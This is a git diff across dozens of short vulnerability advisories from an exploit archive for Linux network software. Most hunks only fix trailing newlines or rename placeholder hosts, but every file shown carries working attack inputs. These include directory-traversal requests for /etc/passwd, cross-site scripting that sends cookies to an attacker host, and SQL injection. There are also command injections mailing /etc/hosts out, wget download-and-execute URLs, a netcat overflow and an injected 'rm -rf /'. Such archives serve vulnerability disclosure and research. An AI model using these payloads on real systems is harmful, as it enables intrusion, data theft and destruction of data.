newline at end of file diff --git a/platforms/linux/remote/20636.txt b/platforms/linux/remote/20636.txt index 385d35950..04ba957fd 100755 --- a/platforms/linux/remote/20636.txt +++ b/platforms/linux/remote/20636.txt @@ -8,4 +8,4 @@ http://target/cgi-bin/store.cgi?StartID=../etc/hosts%00.html http://target/cgi-bin/store.cgi?StartID=../etc/%00.html -^^ = Will obviously list the /etc/ directory. \ No newline at end of file +^^ = Will obviously list the /etc/ directory. \ No newline at end of file diff --git a/platforms/linux/remote/20690.sh b/platforms/linux/remote/20690.sh index 35ed4cd2d..3ab4cf6e0 100755 --- a/platforms/linux/remote/20690.sh +++ b/platforms/linux/remote/20690.sh @@ -13,4 +13,4 @@ bin quot pass shitold@bug.com ls /../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../* bye=20 -end=20 \ No newline at end of file +end=20 \ No newline at end of file diff --git a/platforms/linux/remote/20994.txt b/platforms/linux/remote/20994.txt index 658109e1e..98839932c 100755 --- a/platforms/linux/remote/20994.txt +++ b/platforms/linux/remote/20994.txt @@ -13,4 +13,4 @@ ehlo dumbcobalt mail from:"POP login by user "admin" at (66.66.66.66) 66.66.66.66 @linux.org" 553 "POP login by user "admin" at (66.66.66.66) 66.66.66.66 -@linux.org"...Domain name required \ No newline at end of file +@linux.org"...Domain name required \ No newline at end of file diff --git a/platforms/linux/remote/21019.txt b/platforms/linux/remote/21019.txt index eba6feb98..3741bdd92 100755 --- a/platforms/linux/remote/21019.txt +++ b/platforms/linux/remote/21019.txt @@ -4,4 +4,4 @@ A vulnerability has been discovered in Horde Imp which may allow an attacker to By specifying a malicious INBOX file in a request, the contents of the file may be disclosed to a remote attacker. All files would be accessed with the privileges of the user invoking Imp. -http://vulnerableserver/horde/imp/mailbox.php?mailbox=/etc/passwd \ No newline at end of file +http://vulnerableserver/horde/imp/mailbox.php?mailbox=/etc/passwd \ No newline at end of file diff --git a/platforms/linux/remote/21075.txt b/platforms/linux/remote/21075.txt index 4d50f9ac6..ff6db35a4 100755 --- a/platforms/linux/remote/21075.txt +++ b/platforms/linux/remote/21075.txt @@ -16,4 +16,4 @@ Referer: http://szachy.org/../../../../../tmp and an example content of our /tmp/keylist.txt create like this: $ echo -e "keyword\0touch exploitable|" > /tmp/keylist.txt -After successful attempt there will be "exploitable" file in /tmp directory. \ No newline at end of file +After successful attempt there will be "exploitable" file in /tmp directory. \ No newline at end of file diff --git a/platforms/linux/remote/21095.txt b/platforms/linux/remote/21095.txt index 722f8f43d..9501a084f 100755 --- a/platforms/linux/remote/21095.txt +++ b/platforms/linux/remote/21095.txt @@ -11,4 +11,4 @@ cat >exploit.tex <<EOF \end EOF tex exploit.tex -lpr exploit.dvi \ No newline at end of file +lpr exploit.dvi \ No newline at end of file diff --git a/platforms/linux/remote/21151.txt b/platforms/linux/remote/21151.txt index 666e535c8..26127c78e 100755 --- a/platforms/linux/remote/21151.txt +++ b/platforms/linux/remote/21151.txt @@ -6,7 +6,7 @@ Encoded HTML tags are not stripped from requests to access 'status.php3'. It is As a result, it has been proven that this issue can be exploited to steal a legitimate user's cookie-based authentication credentials and gain unauthorized access to that user's webmail account. -http://myimp.server/status.php3?message=%3Cscript%20language%3Djavascript +http://myimp.site.com/status.php3?message=%3Cscript%20language%3Djavascript %3E%20document.write(%27%3Cimg%20src%3Dhttp%3A%2F%2Fattackerhost.co m%2Fcookie.cgi%3Fcookie%3D%27%20%2B%20escape(document.cookie)%2B% -20%27%3E%27)%3B%3C%2Fscript%3E%0A \ No newline at end of file +20%27%3E%27)%3B%3C%2Fscript%3E%0A \ No newline at end of file diff --git a/platforms/linux/remote/21310.txt b/platforms/linux/remote/21310.txt index 0cf3758a9..825d8d24b 100755 --- a/platforms/linux/remote/21310.txt +++ b/platforms/linux/remote/21310.txt @@ -8,4 +8,4 @@ It is possible to send a maliciously formatted message to xtell such that this i Earlier versions of xtell may share this vulnerability. This has not been confirmed. -echo :USER::`perl -e 'print "A" x 2000'`| nc victimhost 4224 \ No newline at end of file +echo :USER::`perl -e 'print "A" x 2000'`| nc victimhost 4224 \ No newline at end of file diff --git a/platforms/linux/remote/21365.txt b/platforms/linux/remote/21365.txt index 9d25dc368..7271ac522 100755 --- a/platforms/linux/remote/21365.txt +++ b/platforms/linux/remote/21365.txt @@ -8,4 +8,4 @@ Under normal circumstances, PHPGroupWare installs with the PHP magic_quotes_gpc Additionally, this issue may also enable an attacker to exploit vulnerabilities that may exist in the underlying database. -fubar'; CREATE TABLE thistableshouldnotexist (a int); -- \ No newline at end of file +fubar'; CREATE TABLE thistableshouldnotexist (a int); -- \ No newline at end of file diff --git a/platforms/linux/remote/21422.txt b/platforms/linux/remote/21422.txt index f9af971dc..f7f121a05 100755 --- a/platforms/linux/remote/21422.txt +++ b/platforms/linux/remote/21422.txt @@ -6,4 +6,4 @@ Cross Site Scripting issues has been reported in some versions of thttpd. thttpd It should be noted that this issue was tested on 2.20b, other versions may also be affected by this issue. -http://www.host.com/<script>[SCRIPT]</script> \ No newline at end of file +http://www.host.com/<script>[SCRIPT]</script> \ No newline at end of file diff --git a/platforms/linux/remote/21602.txt b/platforms/linux/remote/21602.txt index 1e8e101e6..e68c8334f 100755 --- a/platforms/linux/remote/21602.txt +++ b/platforms/linux/remote/21602.txt @@ -7,4 +7,4 @@ An attacker may exploit a directory traversal vulnerability in Icecast server to GET /file/../../../../../../../../nonexistent/ HTTP/1.0 -GET /file/../../../../../../../../etc/ HTTP/1.0 \ No newline at end of file +GET /file/../../../../../../../../etc/ HTTP/1.0 \ No newline at end of file diff --git a/platforms/linux/remote/21604.txt b/platforms/linux/remote/21604.txt index 845536625..f44c9bc61 100755 --- a/platforms/linux/remote/21604.txt +++ b/platforms/linux/remote/21604.txt @@ -7,4 +7,4 @@ When servlet mapping is enabled, it is possible to invoke various servlets and c tomcat-server/servlet/org.apache.catalina.servlets.WebdavStatus/<SCRIPT>alert(document.domain)</SCRIPT> tomcat-server/servlet/org.apache.catalina.ContainerServlet/<SCRIPT>alert(document.domain)</SCRIPT> tomcat-server/servlet/org.apache.catalina.Context/<SCRIPT>alert(document.domain)</SCRIPT> -tomcat-server/servlet/org.apache.catalina.Globals/<SCRIPT>alert(document.domain)</SCRIPT> \ No newline at end of file +tomcat-server/servlet/org.apache.catalina.Globals/<SCRIPT>alert(document.domain)</SCRIPT> \ No newline at end of file diff --git a/platforms/linux/remote/21858.txt b/platforms/linux/remote/21858.txt index 25ec30038..4efe96587 100755 --- a/platforms/linux/remote/21858.txt +++ b/platforms/linux/remote/21858.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/5793/info acWEB is prone to cross-site scripting attacks. It is possible to construct a malicious link to the web server which contains arbitrary script code. When the link is visited, the script code will be executed in the web client of the user visiting the link. The code will be executed in the context of the webserver. -http://www.victim.com/%db<script>alert('test');</script>/ \ No newline at end of file +http://www.victim.com/%db<script>alert('test');</script>/ \ No newline at end of file diff --git a/platforms/linux/remote/21934.txt b/platforms/linux/remote/21934.txt index f95268444..035341152 100755 --- a/platforms/linux/remote/21934.txt +++ b/platforms/linux/remote/21934.txt @@ -4,4 +4,4 @@ A vulnerability has been discovered in the kpf file sharing utility. KDE is avai It has been reported that by passing a malicious file request to kpf, it is possible for a remote attacker to access files outside of the 'shared directory' root. The ability to read files outside of the shared root directory would be dependent upon the privileges of the kpf process. -http://127.0.0.1:8001/?icon=/usr/local/kde/share/icons/hicolor/32x32/mimetypes/image.png \ No newline at end of file +http://127.0.0.1:8001/?icon=/usr/local/kde/share/icons/hicolor/32x32/mimetypes/image.png \ No newline at end of file diff --git a/platforms/linux/remote/22143.txt b/platforms/linux/remote/22143.txt index ad09d035f..043be4195 100755 --- a/platforms/linux/remote/22143.txt +++ b/platforms/linux/remote/22143.txt @@ -4,4 +4,4 @@ WebWeaver's FTP component has a flaw which can permit a remote user to create di By executing the mkdir command on an ftp server with dot-dot-slash (..\) directory traversal notation, an attacker can create a directory outside of the FTP root. -mkdir ..\[directoryname] \ No newline at end of file +mkdir ..\[directoryname] \ No newline at end of file diff --git a/platforms/linux/remote/22601.txt b/platforms/linux/remote/22601.txt index 61b78440d..603b8e42e 100755 --- a/platforms/linux/remote/22601.txt +++ b/platforms/linux/remote/22601.txt @@ -4,4 +4,4 @@ Inktomi Traffic Server is prone to a cross-site scripting vulnerability. This is Exploitation could permit HTML and script code to access properties of the domain that is requested through the proxy. -http://<spoofed_domain>:443/</em><script>alert()</script> \ No newline at end of file +http://<spoofed_domain>:443/</em><script>alert()</script> \ No newline at end of file diff --git a/platforms/linux/remote/22622.txt b/platforms/linux/remote/22622.txt index 1c0ebf445..101758857 100755 --- a/platforms/linux/remote/22622.txt +++ b/platforms/linux/remote/22622.txt @@ -3,8 +3,8 @@ source: http://www.securityfocus.com/bid/7642/info A vulnerability has been reported in WsMp3. The problem occurs due to insufficient sanitization of HTTP GET requests. As a result, an attacker may be capable of accessing the contents of sensitive system resources. Information obtained through the exploitation of this issue may aid an attacker in launching further attacks against a target system. -bash$ telnet wsmp3.server 8000 +bash$ telnet wsmp3.server.com 8000 Trying 61.37.xxx.xx... Connected to 61.37.xxx.xx. Escape character is '^]'. -GET /dir/../../../../../../etc/passwd HTTP/1.0 \ No newline at end of file +GET /dir/../../../../../../etc/passwd HTTP/1.0 \ No newline at end of file diff --git a/platforms/linux/remote/22623.txt b/platforms/linux/remote/22623.txt index 5b27ab944..4bb79d1c2 100755 --- a/platforms/linux/remote/22623.txt +++ b/platforms/linux/remote/22623.txt @@ -2,8 +2,8 @@ source: http://www.securityfocus.com/bid/7645/info A vulnerability has been reported in WsMp3. The problem occurs due to insufficient sanitization of HTTP POST requests. As a result, an attacker may be capable of executing arbitrary files on a target system. This may lead to the complete compromise of a target system. -bash$ telnet wsmp3.server 8000 +bash$ telnet wsmp3.server.com 8000 Trying 61.37.xxx.xx... Connected to 61.37.xxx.xx. Escape character is '^]'. -POST /dir/../../../../../../bin/ps HTTP/1.0 \ No newline at end of file +POST /dir/../../../../../../bin/ps HTTP/1.0 \ No newline at end of file diff --git a/platforms/linux/remote/23054.txt b/platforms/linux/remote/23054.txt index a0d301540..523e52d02 100755 --- a/platforms/linux/remote/23054.txt +++ b/platforms/linux/remote/23054.txt @@ -8,4 +8,4 @@ This will generate the following message: unknown AP essid= uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) sh: -c: line 3: unexpected EOF while looking for matching `'' -sh: -c: line 4: syntax error: unexpected end of file \ No newline at end of file +sh: -c: line 4: syntax error: unexpected end of file \ No newline at end of file diff --git a/platforms/linux/remote/23186.txt b/platforms/linux/remote/23186.txt index 68abe6070..1c83c6712 100755 --- a/platforms/linux/remote/23186.txt +++ b/platforms/linux/remote/23186.txt @@ -5,14 +5,14 @@ A vulnerability has been discovered in MPLayer when handling malformed streaming <asx version = "3.0"> <title>Bas Site ASX</title> - <moreinfo href = "mailto:info@badserver - <mailto:info@badserver> " /> - <logo href = "http://www.badserver/streaming/grupo.gif - <http://www.badserver/streaming/grupo.gif> " style="ICON" /> + <moreinfo href = "mailto:info@badsite.com + <mailto:info@badsite.com> " /> + <logo href = "http://www.badsite.com/streaming/grupo.gif + <http://www.badsite.com/streaming/grupo.gif> " style="ICON" /> <banner href= "images/bannermitre.gif"> <abstract>Bad Site live</abstract> - <moreinfo target="_blank" href = "http://www.badserver/ - <http://www.badserver/> " /> + <moreinfo target="_blank" href = "http://www.badsite.com/ + <http://www.badsite.com/> " /> </banner> <entry> @@ -26,8 +26,8 @@ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaa"/> - <logo href = "http://www.badserver/streaming/grupo.gif - <http://badserver/streaming/grupo.gif> " style="ICON" /> + <logo href = "http://www.badsite.com/streaming/grupo.gif + <http://badsite.com/streaming/grupo.gif> " style="ICON" /> </entry> </asx> diff --git a/platforms/linux/remote/23295.txt b/platforms/linux/remote/23295.txt index 96c734432..f842082b8 100755 --- a/platforms/linux/remote/23295.txt +++ b/platforms/linux/remote/23295.txt @@ -6,4 +6,4 @@ A problem has been identified in the handling of some characters by sh-httpd. Be GET * GET ../../../sh-httpd/p* GET /../../etc/s* -GET ../../root/.b* \ No newline at end of file +GET ../../root/.b* \ No newline at end of file diff --git a/platforms/linux/remote/23296.txt b/platforms/linux/remote/23296.txt index 56c10116b..b6d0ac4b2 100755 --- a/platforms/linux/remote/23296.txt +++ b/platforms/linux/remote/23296.txt @@ -6,4 +6,4 @@ Successful exploits will disclose sensitive information that may be useful in fu This problem has been reported to exist in Apache 2.0.40 shipped with Red Hat Linux 9.0. Other versions may be affected as well. -http://ip_address:port// \ No newline at end of file +http://ip_address:port// \ No newline at end of file diff --git a/platforms/linux/remote/23585.txt b/platforms/linux/remote/23585.txt index d5f583eeb..b09ca1f64 100755 --- a/platforms/linux/remote/23585.txt +++ b/platforms/linux/remote/23585.txt @@ -36,4 +36,4 @@ Example 2: <<< HTTP/1.0 200 OK <<< finjan-version: fhttp/1.0 <<< -<<< \ No newline at end of file +<<< \ No newline at end of file diff --git a/platforms/linux/remote/24136.txt b/platforms/linux/remote/24136.txt index b4054b5f4..38e329032 100755 --- a/platforms/linux/remote/24136.txt +++ b/platforms/linux/remote/24136.txt @@ -12,4 +12,4 @@ alt="http://www.example.com"></A> <map NAME="malware" alt="http://www.example.com"> <area SHAPE=RECT COORDS="224,21" HREF="http://www.malware.com" alt="http://www.example.com"> -</MAP> \ No newline at end of file +</MAP> \ No newline at end of file diff --git a/platforms/linux/remote/24160.txt b/platforms/linux/remote/24160.txt index fd575195c..3f4121661 100755 --- a/platforms/linux/remote/24160.txt +++ b/platforms/linux/remote/24160.txt @@ -4,4 +4,4 @@ SquirrelMail is reported to be prone to an email header HTML injection vulnerabi An attacker can exploit this issue to gain access to an unsuspecting user's cookie based authentication credentials; disclosure of personal email is possible. Other attacks are also possible. -Content-Type: application/octet-stream"<script>window.alert(document.cookie)</script>"; name=top_secret.pdf \ No newline at end of file +Content-Type: application/octet-stream"<script>window.alert(document.cookie)</script>"; name=top_secret.pdf \ No newline at end of file diff --git a/platforms/linux/remote/24179.txt b/platforms/linux/remote/24179.txt index 000e34fed..8d6e4bde9 100755 --- a/platforms/linux/remote/24179.txt +++ b/platforms/linux/remote/24179.txt @@ -4,4 +4,4 @@ Roundup is prone to a remote file disclosure vulnerability. A remote user can di This vulnerability affects Roundup 0.6.11 and prior versions. -GET /cit/@@file/../../../../etc/passwd HTTP/1.0 \ No newline at end of file +GET /cit/@@file/../../../../etc/passwd HTTP/1.0 \ No newline at end of file diff --git a/platforms/linux/remote/25054.txt b/platforms/linux/remote/25054.txt index 98c164d54..d588258a1 100755 --- a/platforms/linux/remote/25054.txt +++ b/platforms/linux/remote/25054.txt @@ -10,4 +10,4 @@ An attacker may leverage these issues to execute arbitrary shell and Konversatio When an unsuspecting user joins a channel named #%n/quit%n and the Part Button their client will quit. -When an unsuspecting user enters a channel named #`kwrite` and executes the /uptime command, the kwrite application will be activated. \ No newline at end of file +When an unsuspecting user enters a channel named #`kwrite` and executes the /uptime command, the kwrite application will be activated. \ No newline at end of file diff --git a/platforms/linux/remote/25122.txt b/platforms/linux/remote/25122.txt index bc96c8fe2..0fd358347 100755 --- a/platforms/linux/remote/25122.txt +++ b/platforms/linux/remote/25122.txt @@ -22,4 +22,4 @@ To determine the existence of files in a ZIP archive: site nfo ../../*.zip To disclose the contents of files with names starting with the letter 'p' in a directory: -site nfo ../../backup.zip p* \ No newline at end of file +site nfo ../../backup.zip p* \ No newline at end of file diff --git a/platforms/linux/remote/25221.txt b/platforms/linux/remote/25221.txt index 4ce183262..215e37061 100755 --- a/platforms/linux/remote/25221.txt +++ b/platforms/linux/remote/25221.txt @@ -16,4 +16,4 @@ This issue may be leveraged by an attacker to display false information in the s </td></tr></table> </a><!-- second --> -</div> \ No newline at end of file +</div> \ No newline at end of file diff --git a/platforms/linux/remote/25669.txt b/platforms/linux/remote/25669.txt index ee894b730..5a9393cc9 100755 --- a/platforms/linux/remote/25669.txt +++ b/platforms/linux/remote/25669.txt @@ -8,4 +8,4 @@ The following url downloads a script (or executable) to the server: http://www.example.com:2000/cgi-bin///////////../../../../../../../../usr/bin/wget?-q+http://evil-site/evil.pl/+-O+/tmp/evil.pl This is how the script can be executed afterwards: -http://www.example.com:2000/cgi-bin///////////../../../../../../../../usr/bin/perl?/tmp/evil.pl \ No newline at end of file +http://www.example.com:2000/cgi-bin///////////../../../../../../../../usr/bin/perl?/tmp/evil.pl \ No newline at end of file diff --git a/platforms/linux/remote/25802.txt b/platforms/linux/remote/25802.txt index f2aca637a..842c19353 100755 --- a/platforms/linux/remote/25802.txt +++ b/platforms/linux/remote/25802.txt @@ -6,4 +6,4 @@ An attacker can supply arbitrary commands prefixed with the '|' character as a v An attacker can exploit this issue in various ways including providing a malformed user name through FTP. -sshd rhost 9 10 11 |rm${IFS}-rf${IFS}/|echo'1.1.1.1' \ No newline at end of file +sshd rhost 9 10 11 |rm${IFS}-rf${IFS}/|echo'1.1.1.1' \ No newline at end of file diff --git a/platforms/linux/remote/25820.txt b/platforms/linux/remote/25820.txt index 0a5af2dd6..a85fbd02a 100755 --- a/platforms/linux/remote/25820.txt +++ b/platforms/linux/remote/25820.txt @@ -6,4 +6,4 @@ It has been reported that an attacker may bypass SurfinGate file filtering rules SurfinGate version 7.0 SP2 and 7.0 SP3 are reportedly vulnerable. Other versions may be affected as well. -http://www.example.com/ourpics/sware/Mustangworld%2escr \ No newline at end of file +http://www.example.com/ourpics/sware/Mustangworld%2escr \ No newline at end of file diff --git a/platforms/linux/remote/26024.txt b/platforms/linux/remote/26024.txt index adc1b3a89..6ac28d038 100755 --- a/platforms/linux/remote/26024.txt +++ b/platforms/linux/remote/26024.txt @@ -4,4 +4,4 @@ Internet Graphics Server is affected by a directory traversal vulnerability. Thi A remote unauthorized user can disclose the contents of arbitrary local files through the use of directory traversal strings '../'. Exploitation of this vulnerability could lead to a loss of confidentiality. -http://host/htdocs/../../../../../../../../../../../../etc/passwd \ No newline at end of file +http://host/htdocs/../../../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/linux/remote/26101.txt b/platforms/linux/remote/26101.txt index b7d32e00a..6a7a784db 100755 --- a/platforms/linux/remote/26101.txt +++ b/platforms/linux/remote/26101.txt @@ -5,4 +5,4 @@ EMC Navisphere Manager is affected by directory traversal and information disclo A remote unauthorized user can disclose the contents of arbitrary local files through the use of directory traversal strings '../'. An attacker can also obtain the contents of arbitrary directories by appending a '.' to the end of a request. Exploitation of these vulnerabilities could lead to a loss of confidentiality and information disclosure. http://www.example.com/../../../../../../../EMC/NAVISPHERE/common/log/navimon.log -http://www.example.com/. \ No newline at end of file +http://www.example.com/. \ No newline at end of file diff --git a/platforms/linux/remote/26198.txt b/platforms/linux/remote/26198.txt index 1337b6863..7c42f85fb 100755 --- a/platforms/linux/remote/26198.txt +++ b/platforms/linux/remote/26198.txt @@ -8,4 +8,4 @@ Astaro Security Linux 6.001 is prone to this weakness. Connect to TCP port 8080 and enter the following command: -CONNECT localhost:80 HTTP/1.0 \ No newline at end of file +CONNECT localhost:80 HTTP/1.0 \ No newline at end of file diff --git a/platforms/linux/remote/26288.txt b/platforms/linux/remote/26288.txt index 9e0920613..be1e35ef3 100755 --- a/platforms/linux/remote/26288.txt +++ b/platforms/linux/remote/26288.txt @@ -8,4 +8,4 @@ Mozilla Firefox 1.0.6 running on UNIX-based platforms is reportedly vulnerable. Mozilla Browser 1.7.x versions and Thunderbird 1.x versions are also vulnerable to this issue. -http://local\`find\`host \ No newline at end of file +http://local\`find\`host \ No newline at end of file diff --git a/platforms/linux/remote/26536.txt b/platforms/linux/remote/26536.txt index a0b1e4459..9914bb65d 100755 --- a/platforms/linux/remote/26536.txt +++ b/platforms/linux/remote/26536.txt @@ -25,4 +25,4 @@ c:\> telnet 1.2.3.4 143 2 OK [READ-WRITE] opened ./../../administrator/inbox 2 fetch 1 (RFC822.TEXT) -* 1 FETCH (RFC822.TEXT {131} \ No newline at end of file +* 1 FETCH (RFC822.TEXT {131} \ No newline at end of file diff --git a/platforms/linux/remote/27032.txt b/platforms/linux/remote/27032.txt index 704681139..4811293dd 100755 --- a/platforms/linux/remote/27032.txt +++ b/platforms/linux/remote/27032.txt @@ -8,4 +8,4 @@ sendfax -d "411;number=\`cat /etc/hosts\`" /etc/hosts sendfax -f "\`cat /etc/hosts|mail -s hosts attacker@example.com\` <attacker@example.com>" -d 411 /etc/hosts -sendfax -d "@411\";cat /etc/hosts|mail -s hosts attacker@example.com;" /etc/hosts \ No newline at end of file +sendfax -d "@411\";cat /etc/hosts|mail -s hosts attacker@example.com;" /etc/hosts \ No newline at end of file diff --git a/platforms/linux/remote/29496.txt b/platforms/linux/remote/29496.txt index a91c0775f..e56631b69 100755 --- a/platforms/linux/remote/29496.txt +++ b/platforms/linux/remote/29496.txt @@ -4,4 +4,4 @@ ArsDigita Community System is prone to a directory-traversal vulnerability becau An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks. -http://www.example.com/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd \ No newline at end of file +http://www.example.com/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd \ No newline at end of file diff --git a/platforms/linux/remote/29595.txt b/platforms/linux/remote/29595.txt index 35d9d0967..d1ebc6849 100755 --- a/platforms/linux/remote/29595.txt +++ b/platforms/linux/remote/29595.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to retrieve the contents of arbitrary Versions prior to 0.2.1 are vulnerable to this issue. -http://www.example.com/prb/www/?p=../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/prb/www/?p=../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/linux/remote/29734.txt b/platforms/linux/remote/29734.txt index 475399372..02bc796e7 100755 --- a/platforms/linux/remote/29734.txt +++ b/platforms/linux/remote/29734.txt @@ -5,10 +5,10 @@ https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype To upload any file (script, binary, etc...) it is possible with wget command. -https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;wget%20http://server/somefile%20-O%20/tmp/somefile +https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;wget%20http://server.com/somefile%20-O%20/tmp/somefile Download and execute it is possible with this request: -https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;wget%20http://server/somefile%20-O%20/tmp/somefile;chmod%20+x%20somefile;/tmp/somefile +https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;wget%20http://server.com/somefile%20-O%20/tmp/somefile;chmod%20+x%20somefile;/tmp/somefile Details of bug: Lines 115-120 of /srv/www/htdocs/admin/confnetworking.html diff --git a/platforms/linux/remote/29932.txt b/platforms/linux/remote/29932.txt index 2c7802997..345712bc5 100755 --- a/platforms/linux/remote/29932.txt +++ b/platforms/linux/remote/29932.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues to steal cookie-based authentication creden Red Hat Directory Server 7.1 is reported vulnerable; other versions may also be affected. -http://example.com:8001/clients/dsgw/bin/search?context=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E http://example.com:8001/clients/dsgw/bin/search?context=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E http://example.com:8001/clients/dsgw/bin/lang?context=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E http://example.com:8001/clients/dsgw/bin/lang?context=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E http://example.com:8001/clients/dsgw/bin/csearch?context=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E http://example.com:8001/clients/dsgw/bin/csearch?context=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E http://example.com:8001/clients/dsgw/bin/newentry?context=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E http://example.com:8001/clients/dsgw/bin/newentry?context=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E \ No newline at end of file +http://example.com:8001/clients/dsgw/bin/search?context=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E http://example.com:8001/clients/dsgw/bin/search?context=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E http://example.com:8001/clients/dsgw/bin/lang?context=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E http://example.com:8001/clients/dsgw/bin/lang?context=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E http://example.com:8001/clients/dsgw/bin/csearch?context=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E http://example.com:8001/clients/dsgw/bin/csearch?context=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E http://example.com:8001/clients/dsgw/bin/newentry?context=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E http://example.com:8001/clients/dsgw/bin/newentry?context=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E \ No newline at end of file diff --git a/platforms/linux/remote/30286.txt b/platforms/linux/remote/30286.txt index 2f803ecce..dd7c6c2aa 100755 --- a/platforms/linux/remote/30286.txt +++ b/platforms/linux/remote/30286.txt @@ -6,4 +6,4 @@ Attackers may exploit this issue to access files that may contain sensitive info UPDATE (December 24, 2007): According to the vendor, this issue was addressed in ImgSvr 0.6.21. However, reports indicate that this version is still vulnerable. -GET /?template=../../../../../../../../../../etc/passwd HTTP/1.0 \ No newline at end of file +GET /?template=../../../../../../../../../../etc/passwd HTTP/1.0 \ No newline at end of file diff --git a/platforms/linux/remote/30711.txt b/platforms/linux/remote/30711.txt index 8537e479e..81d6e4750 100755 --- a/platforms/linux/remote/30711.txt +++ b/platforms/linux/remote/30711.txt @@ -23,4 +23,4 @@ Content-Type: text/plain Last-Modified: Thu, 25 Oct 2007 16:36:39 GMT Server: Shttp/ServerKit Date: Thu, 25 Oct 2007 16:42:32 GMT -Connection: close \ No newline at end of file +Connection: close \ No newline at end of file diff --git a/platforms/linux/remote/31051.txt b/platforms/linux/remote/31051.txt index 48bde03a3..bb1c661ec 100755 --- a/platforms/linux/remote/31051.txt +++ b/platforms/linux/remote/31051.txt @@ -8,4 +8,4 @@ Firefox 2.0.0.11 is vulnerable; other versions may also be affected. NOTE: For an exploit to succeed, a user must have an addon installed that does not store its contents in a '.jar' file. The attacker would have to target a specific addon that uses "flat" packaging. -<script>pref = function(x, y){document.write(x + ' -> ' + y + '<br>');};</script> <script src='chrome://downbar/content/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fProgram%20Files%2fMozilla%20Thunderbird%2fgreprefs%2fall.js'></script> \ No newline at end of file +<script>pref = function(x, y){document.write(x + ' -> ' + y + '<br>');};</script> <script src='chrome://downbar/content/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fProgram%20Files%2fMozilla%20Thunderbird%2fgreprefs%2fall.js'></script> \ No newline at end of file diff --git a/platforms/linux/remote/31127.txt b/platforms/linux/remote/31127.txt index 9a2089091..f01a62b85 100755 --- a/platforms/linux/remote/31127.txt +++ b/platforms/linux/remote/31127.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to obtain potentially sensitive information tha Firefox 2.0.0.12 and prior versions are vulnerable. -<script> /* @name: Firefox <= 2.0.0.12 information leak pOc @date: Feb. 07 2008 @author: Ronald van den Heetkamp @url: http://www.0x000000.com */ pref = function(a,b) { document.write( a + ' -> ' + b + '<br />'); }; </script> <script src="view-source:resource:///greprefs/all.js"></script> \ No newline at end of file +<script> /* @name: Firefox <= 2.0.0.12 information leak pOc @date: Feb. 07 2008 @author: Ronald van den Heetkamp @url: http://www.0x000000.com */ pref = function(a,b) { document.write( a + ' -> ' + b + '<br />'); }; </script> <script src="view-source:resource:///greprefs/all.js"></script> \ No newline at end of file diff --git a/platforms/linux/remote/31396.txt b/platforms/linux/remote/31396.txt index 9c50e72ed..c12192ae5 100755 --- a/platforms/linux/remote/31396.txt +++ b/platforms/linux/remote/31396.txt @@ -6,4 +6,4 @@ Information obtained may aid in further attacks. This issue affects lighttpd 1.4.18; other versions may also be vulnerable. -http://www.example.com/~nobody/etc/passwd \ No newline at end of file +http://www.example.com/~nobody/etc/passwd \ No newline at end of file diff --git a/platforms/linux/remote/31887.txt b/platforms/linux/remote/31887.txt index 97392ffde..cb333be61 100755 --- a/platforms/linux/remote/31887.txt +++ b/platforms/linux/remote/31887.txt @@ -11,4 +11,4 @@ Response to LIST (backslash): \..\..\..\..\..\..\..\..\..\testfile.txt\r\n Response to LIST (forward-slash): -/../../../../../../../../../testfile.txt\r\n \ No newline at end of file +/../../../../../../../../../testfile.txt\r\n \ No newline at end of file diff --git a/platforms/linux/remote/32165.txt b/platforms/linux/remote/32165.txt index f56396717..de6e73c50 100755 --- a/platforms/linux/remote/32165.txt +++ b/platforms/linux/remote/32165.txt @@ -6,4 +6,4 @@ An 